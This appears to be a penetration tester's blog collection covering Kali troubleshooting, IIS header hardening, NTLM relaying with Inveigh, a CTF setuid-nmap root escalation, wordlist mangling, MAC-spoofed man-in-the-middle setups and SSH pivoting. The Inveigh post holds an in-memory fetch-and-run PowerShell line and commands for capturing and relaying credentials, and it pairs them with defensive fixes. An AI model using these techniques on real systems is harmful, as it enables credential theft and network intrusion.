Problems with VirtualBox Guest Additions in Kali – Quick Tip!

Problems with VirtualBox Guest Additions in Kali. This post serves more of a reminder to myself however this might also serve as help to others. Troubleshooting problems/issues with VirtualBox Guest Additions. I think its safe to say I use VirtualBox a lot, I will be lucky if a day goes by where I’m not in VirtualBox using a VM. I also therefore use and rely on Guest Additions working correctly features such as, mapped drives back to the host, USB, display options are all useful to name a few. It can be frustrating sometimes when Guest Additions breaks, either a mapped network drive disappears or your display has shrunk. Once all the usual checks have been done to troubleshoot I normally move on to VirtualBox Guest Additions. I also use Kali, where its also fair to say I have the most issues, now this might be because I probably use it the most in terms of a VirtualBox VM or that Kali 2.0 is rolling and thus based on Debian Testing. As such we have a multitude of updates happening constantly both to packages and underlying operating system. The following is my usual check list and 99% of the time sorts out the issue for Kali 2:

  1. Update VirtualBox to the latest version.
  2. Then update VirtualBox Guest Additions to also the latest edition.
  3. Update Kali; apt-get update & apt-get upgrade -y
  4. Update kali; apt-get dist-upgrade -y
  5. Update the Kernel headers: apt-get update && apt-get install -y linux-headers-$(uname -r)
  6. Re-install VirtualBox Guest Additions directly from VirtualBox:

cp -r /media/cdrom0/ /tmp/
cd /tmp/cdrom0

Make the file executable:

chmod u+x

Install it:

If successfully your output should be similar to this:

VirtualBox Guest Additions Installtion Kali

If you get errors in the installation you will need to work back through the errors ensuring the above steps have been executed and are successful.

Well I hope this helps someone out in a jam.


Hardening Microsoft IIS 8.5 Security Headers

In this post we will walk through how to implement some of the most common security headers that crop up in Microsoft IIS 8.5 web application testing. Typically Burp, zap nikto will highlight missing security headers. I have covered some of these for Apache in earlier posts here. Now its time for the same treatment in IIS. Some of the headers I will look at in this session are:

X-Frame-Options header – This can help prevent the clickjacking vulnerability by instructing the browser not to in bed the page in an iframe.
X-XSS-Protection header – This can help prevent some cross site scripting attacks.
X-Content-Type-Options header – This will deny content sniffing.
Content-Security-Policy – This can help prevent various attacks by telling the browser to only load content from the sources you specify. In this example I will only specify the source, ie my webpage however if you have content being pulled from youtube for example you will want to add this site also.
HTTP Strict Transport Security header – This will tell the browser to only ever load https only, once the site has been visited.

Corresponding values for the above headers are described below.

In order to lab this up we will use a vanilla Windows Server 2012 R2 server that has had the IIS role installed and configured and is serving just a simple single page running over HTTPS (only with a self signed cert for testing purposes), which looks like this:

With completely standard configuration output from Nikto would give us the following results:

OWASP Zap would give us similar results (I did this whilst still on http, however you get the idea):

Granted there is next to nothing to actually scan on this pages, however this is really only designed to demonstrate how to implement the security headers.

In the IIS console we will want to select the ‘HTTP Response Headers’, you can do this at the site level as I have done or at the webserver level which will affect all sites.

Next select Add from the left hand side:

First we will add X-XXS-Protection security header, here we can use the value of ‘1;mode=block’, this essentially means we will turn the feature on and if detected block it. Other basic options consist of ‘1’ to enable or ‘0’ to set the header however disable the feature :

Next the X-Frame-Options security header, here we can use the value of ‘DENY’ to prevent any content embedding, however this maybe too strict otherwise there is ‘SAMEORIGIN’ to allow content from your site, another option is to use ‘ALLOW-FROM’ to allow content framing from another site:

Next the X-Content-Type-Options security header, here we can use the value of ‘nosniff’:

The content security policy header, here we are specifying a very basic policy to only load content from the source:

The HTTP Strict Transport Security header, here we are setting the max age the browser should honour the header request, to include all subdomains and the preload essentially means that if HTTP site is available only load via HTTPS so on a second visit load the config first before hitting the site:

Re-running nikto gives us the following output, much better!

Hopefully this has helped harden your IIS web server just that little bit more!



NTLM/NTLMv2 Relaying in Windows with PowerShell and Inveigh!

In this post we will be looking at NTLM/NTLMv2 Relaying in Windows with PowerShell and Inveigh! Whats this all about then, and why should I be bothered by it? For a penetration tester Responder by Laurent Gaffie is a great tool for responding to LLMNR (Link Layer Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) queries from workstations and servers on the same subnet. Ultimately being able to capture NTLM/NTLMv2 user names and password hashes on the wire, also being able to relay these credentials onto another host for authentication. I’ve talked about this before here so won’t go into the specifics in this post. This tool is not meant to work on Windows, and is specifically designed to work in Linux, Kali. Inveigh is a windows based version of this written for PowerShell  by Kevin Robertson and can be found here This is particular useful in many situations. It allows you to test this vulnerability in windows from an attack machine, however more importantly if you compromise a Windows workstation you may be able to download the PowerShell script to the target machine, worse load it straight into memory with an IEX call and carry out the attack from this machine. Further to this imagine the scenario where by the target machine is a pivot point into another network i.e. dual homed.

Lets dig into the action and see it working. In this lab we have a Domain Controller, two Windows machines and WebServer. The Webserver is dual homed with 1 nic into the corp network on and the other into the DMZ on, all other machines reside in the corp network. We will imagine the Webserver  has been compromised through some exploit and we have rdp access at admin level out through the DMZ. We will stage the Inveigh code into memory on the compromised host and attempt to poison LLMNR and NBT-NS requests on the leg into the corporate network. This is a run down of the machines:

Webserver (compromised) nic 2 nic 1 (non-domain joined)
W7-1 nic (\W10)
W10-2 nic (\W10-2)
DC nic (\DC1)

On the Webserver we will start off by downloading Inveigh in PowerShell and loading it into memory with:

IEX (New-Object Net.WebClient).DownloadString(“”)

For the sake of the Lab we will assume our attacking box is out on the internet.

Now we will invoke the function Inveigh, we will use some added options, note we are specifying the corporate network adapter with the parameter -IP. This will allow us to poison requests for the corporate network:

Invoke-Inveigh -IP -ConsoleOutput Y -NBNS Y

 Mean while our W10-2 machine makes a request to the DC for the resource \\fileserver1.
This resource doesn’t exist in our network and so the windows 10 machine makes a multicast name request across the network, first with NBT-NS then through LLMNR, we can more clearly see this taking place in Wireshark.
At this point our Webserver running Inveigh responds to the request:
 The SMB challenge response takes place:
And bingo! W10-2 sends its NTLMv2 creds over the wire to the Webserver where they are captured:
We can then take this user name and hash and run it through John the Ripper or Hashcat for further use.
You can stop Inveigh by pressing any key then issuing ‘Stop-Inveigh’.
There are other command line parameters that can be passed with the Inveigh script, switching options on and off for example ‘ConsoleOutput -Y’ will output any captured user names and hashes to stdout.
There is also the option to relay the NTLM/NTLMv2 hashes through to another Windows system. This can be done by additionally loading ‘InveighRelay.ps1’ into powershell then first ‘Invoke-Inveigh’ and then ‘Invoke-InveighRelay. The second Invoke-InveighRelay command might look something like this:
Invoke-InveighRelay -ConsoleOutput Y -Target -Command “…..”
The ‘-Command’ parameter can take an array of commands including a launcher from PowerShell Empire as well as other PowerShell commands.
How do we fix this? And stop it from happening?

Firstly enable SMB signing, this does give a slight performance hit however in my opinion worth the sacrafice. Secondly disable LLMNR and NBT-NS, these are old methods for name resolution. You may have legacy applications in your environment that may potentially still use LLMNR and NBT-NS for broadcast name resolution. Due to this thorough testing should be carried out first. If this is the case get onto the vendor for some answers as to why! Otherwise we can disable both LLMNR and NBT-NS via GPO. We can also enable SMB Signing via GPO.  For LLMNR and SMB Signing there are native GPO setting. For NBT-NS there is no native GPO setting however it can be set in the registry. The registry key references an interface name which has its own unique GUID so can’t be changed in GPO via a registry key change (as the key will be different every time), however we can use powershell and do a ‘catch all’ on that key and thus script and then run via GPO. I’ll demonstrate below.

You can disable LLMNR via Group Policy in your domain or locally, go to:

Computer Policy -> Computer Configuration -> Administrative Templates -> Network -> DNS Client

In the DNS Client settings select “Turn Off Multicast Name Resolution” and set it to ‘Enable’ like below:

Disabling LLMNR

Disabling NBT-NS can be done in the windows networking as shown below:

On the ‘Advanced TCP/IP Settings’ screen select ‘Disable’ radio button for ‘NetBIOS over TCP/IP’.

Disabling NBT-NS

Changing the above will make the following change in the registry, value data 2 is for disable, 0 is the default setting:

NBT-NS disable via registry

Which in turn can be changed via powershell with the following line, this will change all interfaces (notice the tcpip* for the catch all):

The below script can be set to run at startup via GPO:

If we disable NBT-NS first and re-try the whole scenario by requesting a resource of ‘\\fileserver2’ we can see in wireshark that no NBT-NS requests are sent, only LLMNR.

If we disable LLMNR via GPO and re-try requesting \\fileserver3 we now see no LLMNR or NBT-NS requests. Great!

 I hope this has been helpful for someone!

Linux Privilege Escalation with Setuid and Nmap

I recently completed a CTF ‘boot to root’ style virtual machine from and encountered an interesting privilege escalation technique that I thought I would share. Vulnhub is a lot of fun check it out for practice, I’ve recently had a lot of fun with online and offline virtual machine CTF’s and continue to learn a lot. To cut a long story short, I ended up landing a limited user shell on a Linux web server through a php script back to meterpreter. I dropped into a shell from meterpreter, the user had limited access. I was essentially logged in as the web server deamon user id. I started off going through the usual Linux enumeration, gathering some basic information, getting my bearings. A few tasks later on, I started to look at how I could escalate my privileges. I started  looking at files in the file system that could be executed as root. I was specifically looking for executable files where the setuid parameter was marked and where the owner was root. This essentially means when the program is executed it is executed in the permission of the owner of the file (where the EUID, the Effective User ID is root), in this case root. We would look for these types of file with the below find command:

Breaking the above command down:

find – the find command 😉
/ – this is where we are looking in the file system, ie in the root.
-user root – looking for files with the owner of root.
-perm -4000 – looking for where the permissions of file are set to 4000
– exec ls -la – executing the commands ls -la. So we can see additional info.

In the list of files returned I came across the below:

I was able to abuse the above by executing nmap in the context of root. Nmap is set this way as it needs to run in the context of root to be able to perform its many functions. This version of Nmap has an interactive mode, where we are able to execute commands (you can already guess where this is going!). This can be called with ‘nmap –interactive’ which then gives us a special prompt ‘nmap>’. With this prompt we can then execute commands with an ! in front. Even drop into a shell with an EUID as root.

As we can see from the id output the ‘UID’ ie the ‘user id’ is ‘robot’ however the ‘EUID’ ie the ‘effective user id’ is root. Yay!

Well hopes this small snippet of info helps. Happy New Year to all!


Creating and mangling custom word lists!

Creating custom word lists:

In this post we are going through how to generate custom word lists with extra combinations based on an initial set of predefined words or generated words using John The Ripper. Why would we want to do this. Well you probably already have giant word lists that you can download from the internet such as the famous ‘rockyou’ list. Or passwords lists from breaches etc. What these huge lists don’t have are tailored words to suit your target specifically. For example we could use a tool called Cewl to spider a website and scrape all words on this site with a minumim length of 6 and a max of 10.  We could also add words manually that relate to that target specifically. We then have a very custom set of words to do with that target, in which to generating new words for. (Obviously for a penetration test of which you have authoirsation to test). We could then use another program such as John The Ripper (JTR) to generate iterations of those words, for example adding the year to the end of the word. (this is a classic)

In this example we will use the list ‘list1.txt’ as our starting point. We will then use commands to output a new file called ‘newlist1.txt’. We will use JTR in Kali to do this. JTR has a set of predefined rules that will generate us new words based on the original words in any given list. We will add custom rule sets in JTR to generate different combinations of the original word(s). This configuration is found in /etc/john/john.conf.

Lets get started with an example.  If we start with the list ‘list1.txt’ and add one word to keep things simple so we can see the words being generated by JTR and our custom rules. Lets start with the below rule which we will append to the bottom of our john.conf file like below:

Append the below text to the bottom of our john.conf file:

#My Custom rules.

like so:

custom rules in john.conf

Now use JTR to generate words using the below command:

john –wordlist=list1.txt –rules=Rule1 –stdout > newlist1.txt

Which looks like:

new words generated by JTR rule1

As you can see this simple rule adds numbers 0-9 to the end of the word and adds it to the new list called newlist1.txt.

Lets try a few more rules how about the below, append the text to the bottom of your john.conf.


custom rules in john.conf 2

Which will in turn generate us the below:

new words generated by JTR rule2

As you can see I have had to tail the newlist.txt file as john has created a huge list, 11176 to be precise.

There are multiple sets of rules available across the internet, for example Korelogic have rules check them out here. See below for some further example rules:

#My Custom rules.

#Replace letters for numbers



MiTM Thick Client Web Services Testing.

This post walks through MiTM Thick Client Web Services Testing designed for testing thick client web applications for web services using burp and iptables on an internal engagement.


So you need to man in the middle web traffic for application testing on an internal test. This could be either a thick client application for web services that has no proxy settings. Or a client device that is using the system proxy settings (ie proxy settings controlled from Internet Explorer). Or proxying traffic from a client device through the browser as any other usual web application test.

In this scenario the thick client application is installed on a corporate device. So we look to setup some sort of MiTM (Man in The Middle) scenario to watch and alter the traffic as we see fit. The client device IP address must remain the same (ACLs are in place for example or you are unable to change the IP address on the client device). A simple solution to this is two use two virtual machines on your testing laptop to get around having two default gateways with the same IP on one device. With some clever iptables rules we can essentially do a double nat type affair and spoof the client device on the corporate network, at the same time spoofing the gateway for the client device. Bingo MiTM nobody is non the wiser. I talk a bit more about iptables in this post.

If DHCP is used on the client device this is significantly simpler. Rather than using the same ip address range as the corporate network you can set this to an alternative IP and thus removing the need for two virtual machines supporting the double NAT scenario.

They say a picture paints a thousand words… so to bring it all together it the scenario looks similar to this:

Example 1 Configurable proxy settings on client device:

In this example the application on the client system is using the proxy settings configured for IE or Firefox. You are able to modify these and so you can redirect traffic to the proxy of your choice on 8080 for example like so. Note Chrome uses IE system settings:

Network Configuration:

Caution: Don’t use network-manager for this. Dual homing interfaces does not play nice in network manager. Stop the network-manager service first, verify it is stopped then continue to work in the standard networking service with the interfaces file.

service network-manager status

service network-manager stop

service network-manager status

service networking status

Now continue to work using just the interfaces file with the standard networking services.

Set the mac address of the eth0 on VM2 the same as the PC mac address

Ifconfig eth0 down

macchanger –mac 08:00:27:8D:CD:53 eth0

ifconfig eth0 up

On both VM2 and VM1:

echo 1 > /proc/sys/net/ipv4/ip_forward

VM2 interfaces file:

**Gateway is always set on the forwarding interface.

VM2 iptables:

iptables -t nat -A POSTROUTING –out-interface eth0 -j MASQUERADE

VM1 interfaces file:

**Gateway is always set on the forwarding interface.

VM1 iptables configuration:

iptables -t nat -A POSTROUTING –out-interface eth0 -j MASQUERADE

Using burp set your proxy to the listening IP and port.

Example 2: No proxy Settings/Thick client App or Web Services etc..

In this example you have a thick client app that doesn’t allow you to set a proxy and doesn’t use the system proxy settings. You can use ‘prerouting’ in IP tables on VM1. This will route traffic destination port 443 and ‘redirect this to port 8081 with this command:

iptables -t nat -A PREROUTING -i eth1 -p tcp –dport 80 -j REDIRECT –to-port 8080

iptables -t nat -A PREROUTING -i eth1 -p tcp –dport 443 -j REDIRECT –to-port 8081

Then using burp configure your proxy to listen on all interfaces for 8080 and 8081 do this for as many destination ports as required. In addition to this ensure ‘Support for ‘invisible proxying’ is enabled.



Things to Remember!:

After every reboot IP forwarding and iptables will reset so check both on a restart:

cat /proc/sys/net/ipv4/ip_forward

iptables -t nat -L -v -n

To make IP forwarding persistent you can do the following:

Edit /etc/sysctl.conf and uncomment the ‘net’ line:

# Uncomment the next line to enable packet forwarding for IPv4



DNS: hostnames will need to resolve on both the client and proxy machine.

Its is useful to create a bash script for your config for each machine. Then on a reboot there is no faffery looking for the right commands simply run the bash script. Note – the nameservers are pushed to the resolve.conf to save bringing down and back up the interfaces, and restarting the networking. A sample script might look like the below:


On the proxy VM:

This is definitely a labs worth! Hope this helps!


Setting up a quick DHCP server in Linux with dnsmasq

This is just a short post to walk through setting up a quick DHCP server in Linux with dnsmasq. In Kali Linux 2.0  to be precisely. You can read more about dnsmasq here. Why might you want to do this? Well, couple of reasons spring to mind whilst on a pentest, setting up application testing, network boot a laptop that’s under review or setting up a wifi/rougue access point are a few that spring to mind.

First install dnsmasq with:

apt-get install dnsmasq

Then edit the dnsmasq config file with your favourite editor:

The config that we might use in a couple of different scenarios would look something similar to the below. You can comment lines out that you don’t want with a ‘#’:

Once you have made your changes restart the dnsmasq service with:

Simple. Hope this quick tip helps.


Pivoting through SSH with dynamic port forwarding.

snmp-check UDP over SSH

Pivoting through SSH with dynamic port forwarding. Just a quick post about how we can pivot to an internal/dmz network through a host via SSH. This is a classic example of how we might want to pivot through one host to get to an internal or dmz network using SSH as a tunnel. We can essentially tunnel our traffic of this SSH tunnel via the compromised host to an inside network.

The scenario… A picture paints a thousand words… Essential our ‘Hkali’ machine is on the outside. Our Ubuntu Server is in the internal/dmz, this is going to be our pivot point.

So in this scenario the firewall is only allowing inbound access to our Ubuntu server, on port 22  from our attack box running Kali2.0 ‘HKali’. So from Hkali all we can see is port 22 open on We suspect from our initial enumeration that other servers might be in this network. However, we want to check out the rest of the subnet ie ‘WS2K32’ and ‘meta’ to see whats actually there. Imagine we have compromised the ubuntu server already and have gained login details.

Starting at our attacking machine we will SSH into ‘Ubuntu’. In order to be able to forward traffic for any TCP port on through our SSH tunnel we will want to take advantage of Dynamic port forwarding and specify the ‘-D <port>’ command. This uses ‘Dynamic’ port forwarding feature of SSH. This will allow us to send other tools with Kali to localhost:1234 and thus onward onto any route able networks the ‘Ubuntu’ server can see.

Our command would look similar to the below:

ssh root@ -D 1234

Before we go any further there are some useful additional options we can pass on the ubuntu server in the SSH command, these being below. However the minimum we need to specify is just the -D for dynamic forwarding:

-f: Sends the process to the background. If you do this you will have to kill the process ID rather than just closing the terminal window as it will already be closed. This is easy enough use ‘ps aux | grep ssh’ to get the process ID then ‘kill <ID number>’.
-C: Compresses the data before sending it through the tunnel, mixed success with this, so experiment.
-q: Uses quiet mode.
-N: Tells SSH that no command will be sent through once the tunnel is up.

If we take a look at our local network connections we can in fact see our ssh connections and also our localhost listening on port 1234.

netstat -antp ssh dynamic ports

We can now use a socks proxy or equivalent to proxify our traffic through the SSH tunnel and onward to the inside network. For this we will use proxychains. Lets look at how we could do this using a socks4 proxy. First a look at our proxychains configuration. Lets open up /etc/proxychains.conf and ensure the the following line is set in the last line. (note the port should be whatever you used in the SSH command after the ‘-D’.

dynamic port forwarding SSH proxychains

Now we can proxify something like nmap through to the internal network. Bear in mind we can only proxify full TCP connect commands. So UDP traffic/tools such as snmp-check won’t work – however, we can proxify udp in an alternative way, I describe this here. Some tools won’t play nice with proxychains, so play around in your lab and experiment.




Adding your own or custom exploits to Metasploit! Eternalblue, SambaCry?

Adding your own or custom exploits to Metasploit is easy. If your creating your own exploits for Metasploit  in ruby or want to import custom exploits that you have come across that are not in the main repository then you can follow these simple steps. Why might you want to do this? Well there are certain scenarios such as if you are creating your own exploits or scan scripts. Or you want to test out the bleeding edge exploits without moving to the development edition of Metasploit. For example the ms17-010 exploit or the SambaCry for Linux are currently available to add to Metasploit however are not in the main repo’s yet (at time of writing this). This will allow you to import the ruby scripts, add them to Metasploit an run them in your own labs.

Within Kali2.0 you will have a hidden folder in your root home directory called msf4/modules. Move into this folder and then simply create the following directories .msf4/modules/exploits/windows. Also a folder for Linux respectively .msf4/modules/exploits/linux.

You can then add your ruby scripts to these folders.

Adding custom exploit scripts to Metasploit

Then fire up Metasploit and run ‘reload_all’.

relaod_all Metasploit custom exploits

You should now be able to search or call your new scripts. Remember if your database cache isn’t built follow these steps here.

Add custom exploit scripts to Metasploit ms17_010

Hope this little tip helps.